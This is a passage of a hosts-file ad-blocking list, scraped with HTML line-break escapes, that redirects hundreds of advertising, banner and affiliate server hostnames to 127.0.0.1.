&lt;br /&gt;127.0.0.1 ads.centraliprom.com &lt;br /&gt;127.0.0.1 ads.cgnetworks.com &lt;br /&gt;127.0.0.1 ads.channel4.com &lt;br /&gt;127.0.0.1 ads.cimedia.com &lt;br /&gt;127.0.0.1 ads.clearchannel.com &lt;br /&gt;127.0.0.1 ads.collegclub.com &lt;br /&gt;127.0.0.1 ads.com.com &lt;br /&gt;127.0.0.1 ads.currantbun.com &lt;br /&gt;127.0.0.1 ads.cyberfight.ru &lt;br /&gt;127.0.0.1 ads.cybersales.cz &lt;br /&gt;127.0.0.1 ads.danworld.net &lt;br /&gt;127.0.0.1 ads.datingyes.com &lt;br /&gt;127.0.0.1 ads.dbforums.com &lt;br /&gt;127.0.0.1 ads.ddj.com &lt;br /&gt;127.0.0.1 ads.deltha.hu &lt;br /&gt;127.0.0.1 ads.dennisnet.co.uk &lt;br /&gt;127.0.0.1 ads.desmoinesregister.com &lt;br /&gt;127.0.0.1 ads.detelefoongids.nl &lt;br /&gt;127.0.0.1 ads.developershed.com &lt;br /&gt;127.0.0.1 ads.deviantart.com &lt;br /&gt;127.0.0.1 ads.digitalmedianet.com &lt;br /&gt;127.0.0.1 ads.digitalpoint.com &lt;br /&gt;127.0.0.1 ads.directionsmag.com &lt;br /&gt;127.0.0.1 ads.discovery.com &lt;br /&gt;127.0.0.1 ads.dk &lt;br /&gt;127.0.0.1 ads.dmk-internet.com &lt;br /&gt;127.0.0.1 ads.e-planning.net &lt;br /&gt;127.0.0.1 ads.edbindex.dk &lt;br /&gt;127.0.0.1 ads.einmedia.com &lt;br /&gt;127.0.0.1 ads.erotism.com &lt;br /&gt;127.0.0.1 ads.esmas.com &lt;br /&gt;127.0.0.1 ads.eu.msn.com &lt;br /&gt;127.0.0.1 ads.eudora.com &lt;br /&gt;127.0.0.1 ads.exhedra.com &lt;br /&gt;127.0.0.1 ads.ezboard.com &lt;br /&gt;127.0.0.1 ads.fairfax.com.au &lt;br /&gt;127.0.0.1 ads.filmup.com &lt;br /&gt;127.0.0.1 ads.firingsquad.com &lt;br /&gt;127.0.0.1 ads.flooble.com &lt;br /&gt;127.0.0.1 ads.floridatoday.com &lt;br /&gt;127.0.0.1 ads.fool.com &lt;br /&gt;127.0.0.1 ads.forbes.com &lt;br /&gt;127.0.0.1 ads.forbes.net &lt;br /&gt;127.0.0.1 ads.forium.de &lt;br /&gt;127.0.0.1 ads.fortunecity.com &lt;br /&gt;127.0.0.1 ads.foxkidseurope.net &lt;br /&gt;127.0.0.1 ads.freecity.de &lt;br /&gt;127.0.0.1 ads.freeze.com &lt;br /&gt;127.0.0.1 ads.friendtest.com &lt;br /&gt;127.0.0.1 ads.ft.com &lt;br /&gt;127.0.0.1 ads.g4techtv.com &lt;br /&gt;127.0.0.1 ads.game.net &lt;br /&gt;127.0.0.1 ads.gamecity.net &lt;br /&gt;127.0.0.1 ads.gamecopyworld.no &lt;br /&gt;127.0.0.1 ads.gameforgeads.de &lt;br /&gt;127.0.0.1 ads.gamershell.com &lt;br /&gt;127.0.0.1 ads.gamespy.com &lt;br /&gt;127.0.0.1 ads.gamespyid.com &lt;br /&gt;127.0.0.1 ads.gamigo.de &lt;br /&gt;127.0.0.1 ads.gawker.com &lt;br /&gt;127.0.0.1 ads.gettools.com &lt;br /&gt;127.0.0.1 ads.globeandmail.com &lt;br /&gt;127.0.0.1 ads.gotfrag.com &lt;br /&gt;127.0.0.1 ads.goyk.com &lt;br /&gt;127.0.0.1 ads.grindinggears.com &lt;br /&gt;127.0.0.1 ads.guardian.co.uk &lt;br /&gt;127.0.0.1 ads.guardianunlimited.co.uk &lt;br /&gt;127.0.0.1 ads.hbv.de &lt;br /&gt;127.0.0.1 ads.heartlight.org &lt;br /&gt;127.0.0.1 ads.herald-sun.com &lt;br /&gt;127.0.0.1 ads.hollywood.com &lt;br /&gt;127.0.0.1 ads.humorbua.no &lt;br /&gt;127.0.0.1 ads.iafrica.com &lt;br /&gt;127.0.0.1 ads.iboost.com &lt;br /&gt;127.0.0.1 ads.icq.com &lt;br /&gt;127.0.0.1 ads.ign.com &lt;br /&gt;127.0.0.1 ads.imdb.com &lt;br /&gt;127.0.0.1 ads.img.co.za &lt;br /&gt;127.0.0.1 ads.indya.com &lt;br /&gt;127.0.0.1 ads.indystar.com &lt;br /&gt;127.0.0.1 ads.inetfast.com &lt;br /&gt;127.0.0.1 ads.inetinteractive.com &lt;br /&gt;127.0.0.1 ads.infi.net &lt;br /&gt;127.0.0.1 ads.infospace.com &lt;br /&gt;127.0.0.1 ads.internic.co.il &lt;br /&gt;127.0.0.1 ads.inthemix.com.au &lt;br /&gt;127.0.0.1 ads.ipowerweb.com &lt;br /&gt;127.0.0.1 ads.isoftmarketing.com &lt;br /&gt;127.0.0.1 ads.itv.com &lt;br /&gt;127.0.0.1 ads.iwon.com &lt;br /&gt;127.0.0.1 ads.jimworld.com &lt;br /&gt;127.0.0.1 ads.jpost.com &lt;br /&gt;127.0.0.1 ads.jubii.dk &lt;br /&gt;127.0.0.1 ads.katz.ws &lt;br /&gt;127.0.0.1 ads.kinobox.cz &lt;br /&gt;127.0.0.1 ads.krawall.de &lt;br /&gt;127.0.0.1 ads.leo.org &lt;br /&gt;127.0.0.1 ads.linuxjournal.com &lt;br /&gt;127.0.0.1 ads.linuxquestions.org &lt;br /&gt;127.0.0.1 ads.linuxsecurity.com &lt;br /&gt;127.0.0.1 ads.lnkworld.com &lt;br /&gt;127.0.0.1 ads.localnow.com &lt;br /&gt;127.0.0.1 ads.lycos-europe.com &lt;br /&gt;127.0.0.1 ads.lycos.com &lt;br /&gt;127.0.0.1 ads.madison.com &lt;br /&gt;127.0.0.1 ads.mariuana.it &lt;br /&gt;127.0.0.1 ads.mcafee.com &lt;br /&gt;127.0.0.1 ads.mediaodyssey.com &lt;br /&gt;127.0.0.1 ads.mediaturf.net &lt;br /&gt;127.0.0.1 ads.metropol.dk &lt;br /&gt;127.0.0.1 ads.mgnetwork.com &lt;br /&gt;127.0.0.1 ads.monster.com &lt;br /&gt;127.0.0.1 ads.msn.com &lt;br /&gt;127.0.0.1 ads.multimania.lycos.fr &lt;br /&gt;127.0.0.1 ads.musiccity.com &lt;br /&gt;127.0.0.1 ads.myguysolutions.com &lt;br /&gt;127.0.0.1 ads.mysimon.com &lt;br /&gt;127.0.0.1 ads.nandomedia.com &lt;br /&gt;127.0.0.1 ads.nationalreview.com &lt;br /&gt;127.0.0.1 ads.neoseeker.com &lt;br /&gt;127.0.0.1 ads.neowin.net &lt;br /&gt;127.0.0.1 ads.netmechanic.com &lt;br /&gt;127.0.0.1 ads.newcity.com &lt;br /&gt;127.0.0.1 ads.newcitynet.com &lt;br /&gt;127.0.0.1 ads.newdream.net &lt;br /&gt;127.0.0.1 ads.newmedia.cz &lt;br /&gt;127.0.0.1 ads.newsint.co.uk &lt;br /&gt;127.0.0.1 ads.newsobserver.com &lt;br /&gt;127.0.0.1 ads.newsquest.co.uk &lt;br /&gt;127.0.0.1 ads.newtimes.com &lt;br /&gt;127.0.0.1 ads.ngenuity.com &lt;br /&gt;127.0.0.1 ads.ninemsn.com.au &lt;br /&gt;127.0.0.1 ads.nola.com &lt;br /&gt;127.0.0.1 ads.nordichardware.se &lt;br /&gt;127.0.0.1 ads.ntadvice.com &lt;br /&gt;127.0.0.1 ads.nwsource.com &lt;br /&gt;127.0.0.1 ads.nyi.net &lt;br /&gt;127.0.0.1 ads.nyjournalnews.com &lt;br /&gt;127.0.0.1 ads.nypost.com &lt;br /&gt;127.0.0.1 ads.nytimes.com &lt;br /&gt;127.0.0.1 ads.nzcity.co.nz &lt;br /&gt;127.0.0.1 ads.ole.com &lt;br /&gt;127.0.0.1 ads.oneplace.com &lt;br /&gt;127.0.0.1 ads.onlineguiden.com &lt;br /&gt;127.0.0.1 ads.optusnet.com.au &lt;br /&gt;127.0.0.1 ads.orsm.net &lt;br /&gt;127.0.0.1 ads.osdn.com &lt;br /&gt;127.0.0.1 ads.osnews.com &lt;br /&gt;127.0.0.1 ads.ourbrisbane.com &lt;br /&gt;127.0.0.1 ads.overclockers.at &lt;br /&gt;127.0.0.1 ads.pcper.com &lt;br /&gt;127.0.0.1 ads.peel.com &lt;br /&gt;127.0.0.1 ads.phparena.net &lt;br /&gt;127.0.0.1 ads.phpclasses.org &lt;br /&gt;127.0.0.1 ads.pittsburghlive.com &lt;br /&gt;127.0.0.1 ads.planet.nl &lt;br /&gt;127.0.0.1 ads.pni.com &lt;br /&gt;127.0.0.1 ads.powweb.com &lt;br /&gt;127.0.0.1 ads.premiumnetwork.com &lt;br /&gt;127.0.0.1 ads.primeinteractive.net &lt;br /&gt;127.0.0.1 ads.prisacom.com &lt;br /&gt;127.0.0.1 ads.pro-market.net &lt;br /&gt;127.0.0.1 ads.realcities.com &lt;br /&gt;127.0.0.1 ads.realmedia.de &lt;br /&gt;127.0.0.1 ads.recoletos.es &lt;br /&gt;127.0.0.1 ads.rediff.com &lt;br /&gt;127.0.0.1 ads.rivals.net &lt;br /&gt;127.0.0.1 ads.rottentomatoes.com &lt;br /&gt;127.0.0.1 ads.rp-online.de &lt;br /&gt;127.0.0.1 ads.rpgdot.com &lt;br /&gt;127.0.0.1 ads.rpgui.com &lt;br /&gt;127.0.0.1 ads.satyamonline.com &lt;br /&gt;127.0.0.1 ads.savannahnow.com &lt;br /&gt;127.0.0.1 ads.scifi.com &lt;br /&gt;127.0.0.1 ads.sexplanets.com &lt;br /&gt;127.0.0.1 ads.shareprovider.com &lt;br /&gt;127.0.0.1 ads.sify.com &lt;br /&gt;127.0.0.1 ads.simtel.net &lt;br /&gt;127.0.0.1 ads.smartclick.com &lt;br /&gt;127.0.0.1 ads.softwareoutfit.com &lt;br /&gt;127.0.0.1 ads.space.com &lt;br /&gt;127.0.0.1 ads.sptimes.com &lt;br /&gt;127.0.0.1 ads.stationplay.com &lt;br /&gt;127.0.0.1 ads.stileproject.com &lt;br /&gt;127.0.0.1 ads.storagereview.net &lt;br /&gt;127.0.0.1 ads.stratics.com &lt;br /&gt;127.0.0.1 ads.switchboard.com &lt;br /&gt;127.0.0.1 ads.techtv.com &lt;br /&gt;127.0.0.1 ads.telegraaf.nl &lt;br /&gt;127.0.0.1 ads.telegraph.co.uk &lt;br /&gt;127.0.0.1 ads.theglobeandmail.com &lt;br /&gt;127.0.0.1 ads.thestar.com &lt;br /&gt;127.0.0.1 ads.thewebfreaks.com &lt;br /&gt;127.0.0.1 ads.thottbot.com &lt;br /&gt;127.0.0.1 ads.tiscali.fr &lt;br /&gt;127.0.0.1 ads.tmcs.net &lt;br /&gt;127.0.0.1 ads.top500.org &lt;br /&gt;127.0.0.1 ads.townhall.com &lt;br /&gt;127.0.0.1 ads.tripod.com &lt;br /&gt;127.0.0.1 ads.tripod.lycos.co.uk &lt;br /&gt;127.0.0.1 ads.tripod.lycos.de &lt;br /&gt;127.0.0.1 ads.tripod.lycos.nl &lt;br /&gt;127.0.0.1 ads.tucows.com &lt;br /&gt;127.0.0.1 ads.ucomics.com &lt;br /&gt;127.0.0.1 ads.uigc.net &lt;br /&gt;127.0.0.1 ads.unixathome.org &lt;br /&gt;127.0.0.1 ads.urli.net &lt;br /&gt;127.0.0.1 ads.usatoday.com &lt;br /&gt;127.0.0.1 ads.v3.com &lt;br /&gt;127.0.0.1 ads.v3exchange.com &lt;br /&gt;127.0.0.1 ads.vesperexchange.com &lt;br /&gt;127.0.0.1 ads.videoaxs.com &lt;br /&gt;127.0.0.1 ads.virtual-nights.com &lt;br /&gt;127.0.0.1 ads.virtualcountries.com &lt;br /&gt;127.0.0.1 ads.vnuemedia.com &lt;br /&gt;127.0.0.1 ads.vnumedia.com &lt;br /&gt;127.0.0.1 ads.wanadooregie.com &lt;br /&gt;127.0.0.1 ads.weather.ca &lt;br /&gt;127.0.0.1 ads.weather.com &lt;br /&gt;127.0.0.1 ads.web.aol.com &lt;br /&gt;127.0.0.1 ads.web.cs.com &lt;br /&gt;127.0.0.1 ads.web.de &lt;br /&gt;127.0.0.1 ads.web21.com &lt;br /&gt;127.0.0.1 ads.webattack.com &lt;br /&gt;127.0.0.1 ads.webheat.com &lt;br /&gt;127.0.0.1 ads.webnet.advance.net &lt;br /&gt;127.0.0.1 ads.whi.co.nz &lt;br /&gt;127.0.0.1 ads.winsite.com &lt;br /&gt;127.0.0.1 ads.wunderground.com &lt;br /&gt;127.0.0.1 ads.x10.com &lt;br /&gt;127.0.0.1 ads.x10.net &lt;br /&gt;127.0.0.1 ads.xtra.co.nz &lt;br /&gt;127.0.0.1 ads.yourfreedvds.com &lt;br /&gt;127.0.0.1 ads.zdnet.com &lt;br /&gt;127.0.0.1 ads001.webwombat.com.au &lt;br /&gt;127.0.0.1 ads1.advance.net &lt;br /&gt;127.0.0.1 ads1.akkuna.com &lt;br /&gt;127.0.0.1 ads1.canoe.ca &lt;br /&gt;127.0.0.1 ads1.erotism.com &lt;br /&gt;127.0.0.1 ads1.mediacapital.pt &lt;br /&gt;127.0.0.1 ads1.sptimes.com &lt;br /&gt;127.0.0.1 ads1.theglobeandmail.com &lt;br /&gt;127.0.0.1 ads10.speedbit.com &lt;br /&gt;127.0.0.1 ads2.advance.net &lt;br /&gt;127.0.0.1 ads2.akkuna.com &lt;br /&gt;127.0.0.1 ads2.clearchannel.com &lt;br /&gt;127.0.0.1 ads2.collegclub.com &lt;br /&gt;127.0.0.1 ads2.collegeclub.com &lt;br /&gt;127.0.0.1 ads2.exhedra.com &lt;br /&gt;127.0.0.1 ads2.firingsquad.com &lt;br /&gt;127.0.0.1 ads2.gamecity.net &lt;br /&gt;127.0.0.1 ads2.jubii.dk &lt;br /&gt;127.0.0.1 ads2.oneplace.com &lt;br /&gt;127.0.0.1 ads2.osdn.com &lt;br /&gt;127.0.0.1 ads2.top500.org &lt;br /&gt;127.0.0.1 ads3.advance.net &lt;br /&gt;127.0.0.1 ads3.gamecity.net &lt;br /&gt;127.0.0.1 ads360.com &lt;br /&gt;127.0.0.1 ads4.advance.net &lt;br /&gt;127.0.0.1 ads4.clearchannel.com &lt;br /&gt;127.0.0.1 ads4.gamecity.net &lt;br /&gt;127.0.0.1 ads4.realcities.com &lt;br /&gt;127.0.0.1 ads4homes.com &lt;br /&gt;127.0.0.1 ads5.advance.net &lt;br /&gt;127.0.0.1 ads5.canoe.ca &lt;br /&gt;127.0.0.1 ads6.advance.net &lt;br /&gt;127.0.0.1 ads6.gamecity.net &lt;br /&gt;127.0.0.1 ads7.gamecity.net &lt;br /&gt;127.0.0.1 ads8.com &lt;br /&gt;127.0.0.1 adsag.com &lt;br /&gt;127.0.0.1 Adsatt.ABCNews.starwave.com &lt;br /&gt;127.0.0.1 adsatt.espn.go.com &lt;br /&gt;127.0.0.1 adsatt.espn.starwave.com &lt;br /&gt;127.0.0.1 Adsatt.go.starwave.com &lt;br /&gt;127.0.0.1 adscholar.com &lt;br /&gt;127.0.0.1 adscpm.com &lt;br /&gt;127.0.0.1 adsdaq.com &lt;br /&gt;127.0.0.1 adserv.aip.org &lt;br /&gt;127.0.0.1 adserv.gamezone.de &lt;br /&gt;127.0.0.1 adserv.geocomm.com &lt;br /&gt;127.0.0.1 adserv.happypuppy.com &lt;br /&gt;127.0.0.1 adserv.iafrica.com &lt;br /&gt;127.0.0.1 adserv.lwmn.net &lt;br /&gt;127.0.0.1 adserv.quality-channel.de &lt;br /&gt;127.0.0.1 adserv1.winboard.org &lt;br /&gt;127.0.0.1 adserve.viaarena.com &lt;br /&gt;127.0.0.1 adserver.71i.de &lt;br /&gt;127.0.0.1 adserver.adultfriendfinder.com &lt;br /&gt;127.0.0.1 adserver.allerinternett.com &lt;br /&gt;127.0.0.1 adserver.anm.co.uk &lt;br /&gt;127.0.0.1 adserver.ath.cx &lt;br /&gt;127.0.0.1 adserver.billiger-surfen.de &lt;br /&gt;127.0.0.1 adserver.billiger-telefonieren.de &lt;br /&gt;127.0.0.1 adserver.bluewin.ch &lt;br /&gt;127.0.0.1 adserver.colleges.com &lt;br /&gt;127.0.0.1 adserver.com &lt;br /&gt;127.0.0.1 adserver.conjelco.com &lt;br /&gt;127.0.0.1 adserver.developersnetwork.com &lt;br /&gt;127.0.0.1 adserver.digitoday.com &lt;br /&gt;127.0.0.1 adserver.dotcommedia.de &lt;br /&gt;127.0.0.1 adserver.eudora.com &lt;br /&gt;127.0.0.1 adserver.filefront.com &lt;br /&gt;127.0.0.1 adserver.freecity.de &lt;br /&gt;127.0.0.1 adserver.freenet.de &lt;br /&gt;127.0.0.1 adserver.friendfinder.com &lt;br /&gt;127.0.0.1 adserver.gamesquad.net &lt;br /&gt;127.0.0.1 adserver.garden.com &lt;br /&gt;127.0.0.1 adserver.geizkragen.de &lt;br /&gt;127.0.0.1 adserver.gr &lt;br /&gt;127.0.0.1 adserver.hardwareanalysis.com &lt;br /&gt;127.0.0.1 adserver.hispavista.com &lt;br /&gt;127.0.0.1 adserver.humanux.com &lt;br /&gt;127.0.0.1 adserver.ign.com &lt;br /&gt;127.0.0.1 adserver.isonews.com &lt;br /&gt;127.0.0.1 adserver.itsfogo.com &lt;br /&gt;127.0.0.1 adserver.janes.com &lt;br /&gt;127.0.0.1 adserver.jolt.co.uk &lt;br /&gt;127.0.0.1 adserver.journalinteractive.com &lt;br /&gt;127.0.0.1 adserver.legacy-network.com &lt;br /&gt;127.0.0.1 adserver.libero.it &lt;br /&gt;127.0.0.1 adserver.m2kcore.com &lt;br /&gt;127.0.0.1 adserver.monster.com &lt;br /&gt;127.0.0.1 adserver.news.com.au &lt;br /&gt;127.0.0.1 adserver.ngz-network.de &lt;br /&gt;127.0.0.1 adserver.nydailynews.com &lt;br /&gt;127.0.0.1 adserver.nzoom.com &lt;br /&gt;127.0.0.1 adserver.pl &lt;br /&gt;127.0.0.1 adserver.plhb.com &lt;br /&gt;127.0.0.1 adserver.portalofevil.com &lt;br /&gt;127.0.0.1 adserver.portugalmail.net &lt;br /&gt;127.0.0.1 adserver.portugalmail.pt &lt;br /&gt;127.0.0.1 adserver.ro &lt;br /&gt;127.0.0.1 adserver.sanomawsoy.fi &lt;br /&gt;127.0.0.1 adserver.securityfocus.com &lt;br /&gt;127.0.0.1 adserver.sharewareonline.com &lt;br /&gt;127.0.0.1 adserver.snowball.com &lt;br /&gt;127.0.0.1 adserver.startnow.com &lt;br /&gt;127.0.0.1 adserver.terra.es &lt;br /&gt;127.0.0.1 adserver.theonering.net &lt;br /&gt;127.0.0.1 adserver.track-star.com &lt;br /&gt;127.0.0.1 adserver.trb.com &lt;br /&gt;127.0.0.1 adserver.tribuneinteractive.com &lt;br /&gt;127.0.0.1 adserver.ugo.com &lt;br /&gt;127.0.0.1 adserver.usermagnet.com &lt;br /&gt;127.0.0.1 adserver.visions.de &lt;br /&gt;127.0.0.1 adserver.webhostlist.de &lt;br /&gt;127.0.0.1 adserver.yahoo.com &lt;br /&gt;127.0.0.1 adserver1-images.backbeatmedia.com &lt;br /&gt;127.0.0.1 adserver1.backbeatmedia.com &lt;br /&gt;127.0.0.1 adserver1.mediainsight.de &lt;br /&gt;127.0.0.1 adserver1.ogilvy-interactive.de &lt;br /&gt;127.0.0.1 adserver1.shareconnector.com &lt;br /&gt;127.0.0.1 adserver2.mediainsight.de &lt;br /&gt;127.0.0.1 adserver2.popdata.de &lt;br /&gt;127.0.0.1 adserver3.eudora.com &lt;br /&gt;127.0.0.1 adserver4.eudora.com &lt;br /&gt;127.0.0.1 adserversolutions.com &lt;br /&gt;127.0.0.1 adservervv.geizkragen.de &lt;br /&gt;127.0.0.1 adserving.eleven-agency.com &lt;br /&gt;127.0.0.1 adservingcentral.com &lt;br /&gt;127.0.0.1 adsfac.net &lt;br /&gt;127.0.0.1 adshadow.net &lt;br /&gt;127.0.0.1 adsmart.co.uk &lt;br /&gt;127.0.0.1 adsmart.com &lt;br /&gt;127.0.0.1 adsmart.net &lt;br /&gt;127.0.0.1 adsmusic.com &lt;br /&gt;127.0.0.1 adsnew.userfriendly.org &lt;br /&gt;127.0.0.1 adsoftware.com &lt;br /&gt;127.0.0.1 adsoldier.com &lt;br /&gt;127.0.0.1 adsp.ilse.nl &lt;br /&gt;127.0.0.1 adspace.ro &lt;br /&gt;127.0.0.1 adsremote.scripps.com &lt;br /&gt;127.0.0.1 adsrv.iol.co.za &lt;br /&gt;127.0.0.1 adsweb.tiscali.cz &lt;br /&gt;127.0.0.1 adsynergy.com &lt;br /&gt;127.0.0.1 adsystem.tt-forums.net &lt;br /&gt;127.0.0.1 adtech.de &lt;br /&gt;127.0.0.1 adtech.m7z.net &lt;br /&gt;127.0.0.1 adtoma.com &lt;br /&gt;127.0.0.1 adtrade.net &lt;br /&gt;127.0.0.1 adtrading.de &lt;br /&gt;127.0.0.1 adtrak.net &lt;br /&gt;127.0.0.1 adtrix.com &lt;br /&gt;127.0.0.1 adv-banner.libero.it &lt;br /&gt;127.0.0.1 adv.for-ua.com &lt;br /&gt;127.0.0.1 adv.freeonline.it &lt;br /&gt;127.0.0.1 adv.hwupgrade.it &lt;br /&gt;127.0.0.1 adv.isdn.cz &lt;br /&gt;127.0.0.1 adv.surinter.net &lt;br /&gt;127.0.0.1 adv.webmd.com &lt;br /&gt;127.0.0.1 adv.wp.pl &lt;br /&gt;127.0.0.1 adv.yo.cz &lt;br /&gt;127.0.0.1 adv1.videoprofessor.com &lt;br /&gt;127.0.0.1 advariant.com &lt;br /&gt;127.0.0.1 adventory.com &lt;br /&gt;127.0.0.1 adverity.com &lt;br /&gt;127.0.0.1 adverserve.net &lt;br /&gt;127.0.0.1 advert.bayarea.com &lt;br /&gt;127.0.0.1 advert.hi-media.com &lt;br /&gt;127.0.0.1 advert.hu &lt;br /&gt;127.0.0.1 adverticum.com &lt;br /&gt;127.0.0.1 adverticum.net &lt;br /&gt;127.0.0.1 advertiseireland.com &lt;br /&gt;127.0.0.1 advertising.com &lt;br /&gt;127.0.0.1 advertising.se &lt;br /&gt;127.0.0.1 advertisingbanners.com &lt;br /&gt;127.0.0.1 advertmarket.com &lt;br /&gt;127.0.0.1 advertmedia.de &lt;br /&gt;127.0.0.1 advertpro.sitepoint.com &lt;br /&gt;127.0.0.1 adverts.carltononline.com &lt;br /&gt;127.0.0.1 advertserve.com &lt;br /&gt;127.0.0.1 advertwizard.com &lt;br /&gt;127.0.0.1 adview.ppro.de &lt;br /&gt;127.0.0.1 adviva.net &lt;br /&gt;127.0.0.1 advlab.it &lt;br /&gt;127.0.0.1 advnt.com &lt;br /&gt;127.0.0.1 advnt01.com &lt;br /&gt;127.0.0.1 advnt02.com &lt;br /&gt;127.0.0.1 advnt03.com &lt;br /&gt;127.0.0.1 advnt04.com &lt;br /&gt;127.0.0.1 advspot.com &lt;br /&gt;127.0.0.1 adware.hu &lt;br /&gt;127.0.0.1 adwealth.com &lt;br /&gt;127.0.0.1 adweb.integctr.com &lt;br /&gt;127.0.0.1 adworldnetwork.com &lt;br /&gt;127.0.0.1 adworx.at &lt;br /&gt;127.0.0.1 adx.allstar.cz &lt;br /&gt;127.0.0.1 adx.arip.co.th &lt;br /&gt;127.0.0.1 adx.atnext.com &lt;br /&gt;127.0.0.1 adx.nu &lt;br /&gt;127.0.0.1 ady.arip.co.th &lt;br /&gt;127.0.0.1 adz.afterdawn.net &lt;br /&gt;127.0.0.1 affiliate.1800flowers.com &lt;br /&gt;127.0.0.1 affiliate.7host.com &lt;br /&gt;127.0.0.1 affiliate.cfdebt.com &lt;br /&gt;127.0.0.1 affiliate.doubleyourdating.com &lt;br /&gt;127.0.0.1 affiliate.dtiserv.com &lt;br /&gt;127.0.0.1 affiliate.gamestop.com &lt;br /&gt;127.0.0.1 affiliate.grasscity.com &lt;br /&gt;127.0.0.1 affiliate.travelnow.com &lt;br /&gt;127.0.0.1 affiliate.viator.com &lt;br /&gt;127.0.0.1 affiliatefuel.com &lt;br /&gt;127.0.0.1 affiliates.allposters.com &lt;br /&gt;127.0.0.1 affiliates.internationaljock.com &lt;br /&gt;127.0.0.1 affiliatetracking.net &lt;br /&gt;127.0.0.1 affiliplus.de &lt;br /&gt;127.0.0.1 afiliados.submarino.com.br &lt;br /&gt;127.0.0.1 ah-ha.com &lt;br /&gt;127.0.0.1 aim4media.com &lt;br /&gt;127.0.0.1 alladvantage.com &lt;br /&gt;127.0.0.1 amedia.techies.com &lt;br /&gt;127.0.0.1 app.lstdesign.com &lt;br /&gt;127.0.0.1 arc1.msn.com &lt;br /&gt;127.0.0.1 as.cmpnet.com &lt;br /&gt;127.0.0.1 as.fotexnet.hu &lt;br /&gt;127.0.0.1 as1.falkag.de &lt;br /&gt;127.0.0.1 as2.falkag.de &lt;br /&gt;127.0.0.1 as3.falkag.de &lt;br /&gt;127.0.0.1 as4.falkag.de &lt;br /&gt;127.0.0.1 as5000.com &lt;br /&gt;127.0.0.1 asv.gameplanet.co.nz &lt;br /&gt;127.0.0.1 atdmt.com &lt;br /&gt;127.0.0.1 atwola.com &lt;br /&gt;127.0.0.1 audit.median.hu &lt;br /&gt;127.0.0.1 audit.webinform.hu &lt;br /&gt;127.0.0.1 autohits.dk &lt;br /&gt;127.0.0.1 avatarresources.com &lt;br /&gt;127.0.0.1 avenuea.com &lt;br /&gt;127.0.0.1 avres.net &lt;br /&gt;127.0.0.1 awarez.net &lt;br /&gt;127.0.0.1 awrz.net &lt;br /&gt;127.0.0.1 azjmp.com &lt;br /&gt;127.0.0.1 azoogleads.com &lt;br /&gt;127.0.0.1 babs.tv2.dk &lt;br /&gt;127.0.0.1 backbeatmedia.com &lt;br /&gt;127.0.0.1 banerovec.cz &lt;br /&gt;127.0.0.1 banex.cz &lt;br /&gt;127.0.0.1 banik.redigy.cz &lt;br /&gt;127.0.0.1 banman.cz &lt;br /&gt;127.0.0.1 banner.ad.nu &lt;br /&gt;127.0.0.1 banner.buempliz-online.ch &lt;br /&gt;127.0.0.1 banner.casino.net &lt;br /&gt;127.0.0.1 banner.casinodelrio.com &lt;br /&gt;127.0.0.1 banner.coza.com &lt;br /&gt;127.0.0.1 banner.cz &lt;br /&gt;127.0.0.1 banner.easyspace.com &lt;br /&gt;127.0.0.1 banner.elisa.net &lt;br /&gt;127.0.0.1 banner.getgo.de &lt;br /&gt;127.0.0.1 banner.img.co.za &lt;br /&gt;127.0.0.1 banner.inyourpocket.com &lt;br /&gt;127.0.0.1 banner.jobsahead.com &lt;br /&gt;127.0.0.1 banner.kiev.ua &lt;br /&gt;127.0.0.1 banner.linux.se &lt;br /&gt;127.0.0.1 banner.media-system.de &lt;br /&gt;127.0.0.1 banner.mindshare.de &lt;br /&gt;127.0.0.1 banner.musikmedia.de &lt;br /&gt;127.0.0.1 banner.nixnet.cz &lt;br /&gt;127.0.0.1 banner.noblepoker.com &lt;br /&gt;127.0.0.1 banner.northsky.com &lt;br /&gt;127.0.0.1 banner.orb.net &lt;br /&gt;127.0.0.1 banner.penguin.cz &lt;br /&gt;127.0.0.1 banner.relcom.ru &lt;br /&gt;127.0.0.1 banner.rojakpot.com &lt;br /&gt;127.0.0.1 banner.t-online.de &lt;br /&gt;127.0.0.1 banner.tanto.de &lt;br /&gt;127.0.0.1 banner.tpage.com &lt;br /&gt;127.0.0.1 banner.webmersion.com &lt;br /&gt;127.0.0.1 banner4all.dk &lt;br /&gt;127.0.0.1 bannerads.de &lt;br /&gt;127.0.0.1 bannerads.zwire.com &lt;br /&gt;127.0.0.1 bannerbank.ru &lt;br /&gt;127.0.0.1 bannerbox.hu &lt;br /&gt;127.0.0.1 bannerboxes.com &lt;br /&gt;127.0.0.1 bannercommunity.de &lt;br /&gt;127.0.0.1 bannerexchange.cjb.net &lt;br /&gt;127.0.0.1 bannerhost.com &lt;br /&gt;127.0.0.1 bannerhosts.com &lt;br /&gt;127.0.0.1 bannerimage.com &lt;br /&gt;127.0.0.1 bannerlandia.com.ar &lt;br /&gt;127.0.0.1 bannermall.com &lt;br /&gt;127.0.0.1 bannermarkt.nl &lt;br /&gt;127.0.0.1 bannerpower.com &lt;br /&gt;127.0.0.1 banners.adultfriendfinder.com &lt;br /&gt;127.0.0.1 banners.amigos.com &lt;br /&gt;127.0.0.1 banners.arachne.cz &lt;br /&gt;127.0.0.1 banners.asiafriendfinder.com &lt;br /&gt;127.0.0.1 banners.babylon-x.com &lt;br /&gt;127.0.0.1 banners.babylonbucks.com &lt;br /&gt;127.0.0.1 banners.bol.com.br &lt;br /&gt;127.0.0.1 banners.clubseventeen.com &lt;br /&gt;127.0.0.1 banners.czi.cz &lt;br /&gt;127.0.0.1 banners.de.clara.net &lt;br /&gt;127.0.0.1 banners.directnic.com &lt;br /&gt;127.0.0.1 banners.dot.tk &lt;br /&gt;127.0.0.1 banners.easydns.com &lt;br /&gt;127.0.0.1 banners.ebay.com &lt;br /&gt;127.0.0.1 banners.freett.com &lt;br /&gt;127.0.0.1 banners.friendfinder.com &lt;br /&gt;127.0.0.1 banners.friendsfinder.com &lt;br /&gt;127.0.0.1 banners.hetnet.nl &lt;br /&gt;127.0.0.1 banners.internetsexprovider.com &lt;br /&gt;127.0.0.1 banners.iq.pl &lt;br /&gt;127.0.0.1 banners.isoftmarketing.com &lt;br /&gt;127.0.0.1 banners.kfmb.com &lt;br /&gt;127.0.0.1 banners.lifeserv.com &lt;br /&gt;127.0.0.1 banners.linkbuddies.com &lt;br /&gt;127.0.0.1 banners.netcraft.com &lt;br /&gt;127.0.0.1 banners.one2one.com &lt;br /&gt;127.0.0.1 banners.resultonline.com &lt;br /&gt;127.0.0.1 banners.sexsearch.com &lt;br /&gt;127.0.0.1 banners.tucson.com &lt;br /&gt;127.0.0.1 banners.uk.clara.net &lt;br /&gt;127.0.0.1 banners.wunderground.com &lt;br /&gt;127.0.0.1 